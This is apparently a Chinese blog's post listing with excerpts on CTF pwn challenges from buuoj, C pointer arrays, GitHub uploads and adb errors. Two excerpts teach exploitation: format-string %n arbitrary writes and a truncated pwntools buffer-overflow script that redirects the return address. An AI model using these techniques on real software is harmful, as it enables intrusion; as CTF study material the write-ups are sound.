- 博客(5)
- 收藏
- 关注
RSS订阅原创 buuoj —— [第五空间2019 决赛]PWN5
格式化字符串：https://www.cnblogs.com/0xJDchen/p/5904816.html%d：读取10进制数值%x：读取16进制数值%s：读取字符串值%n：将当前字符串的长度打印到var中。如printf（“test %hn”,&var[其中var为两个字节]）printf（“test %n”,&var[其中var为一个字节]）1）得到字符串离esp的距离输入多个%08x；%12x可以直接读取偏移12处的值，省略输入前11个2）对任意地址进行任意写写任
2021-05-30 11:46:18
150
原创 buuoj —— rip
常规思路s溢出后将返回地址修改为fun函数地址，然而出错了from pwn import *# context(os="linux", arch="amd64", log_level="debug")p = remote('node3.buuoj.cn',27714)# p = process('./pwn1')elf = ELF("./pwn1")f_addr = elf.symbols["fun"]payload = 'a'*23 + p64(f_addr)p.sendline(pa
2021-05-27 19:31:11
549
原创 数组指针和指针数组
指针数组int *p[3] // 定义了p[0],p[1],p[2]三个指针，其本质为数组数组指针int a[4][5];int (*p)[5]=a;a：二维数组的数组名，相当于一个二级指针常量；//二维数组名与二级指针毫无关系p：一个指针变量，它指向包含5个int元素的一维数组，此时p的增量以它所指向的一维数组长度为单位；*(p+i) ：一维数组a[i][0]的地址*(p+2)+3 ：a[2][3]地址数组指针的分配int (* p)[12];p = (int (*)[
2021-03-26 10:30:16
48
原创 GitHub上传Android项目
一、cd到项目文件夹，输入，则可生成.git文件夹（删除本地仓库时，删除这个文件夹即可）git init二、置一个SSH KEY，即是密钥，（出于安全考虑，Github 服务器和我们本地的通讯要求使用 SSH Key 来验证）https://blog.csdn.net/weixin_44394753/article/details/91410463在项目文件夹下右键，打开Git bash ...
2019-10-16 20:58:56
123
原创 adb push结果只读
adb push结果只读1.>adb push D:\hello.txt /system/app结果：adb: error: failed to copy ‘D:\hello.txt’ to ‘’: remote Read-only file system2.>adb remount结果：remount failed: Permission denied3.>emul...
2019-10-08 19:15:09
640
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人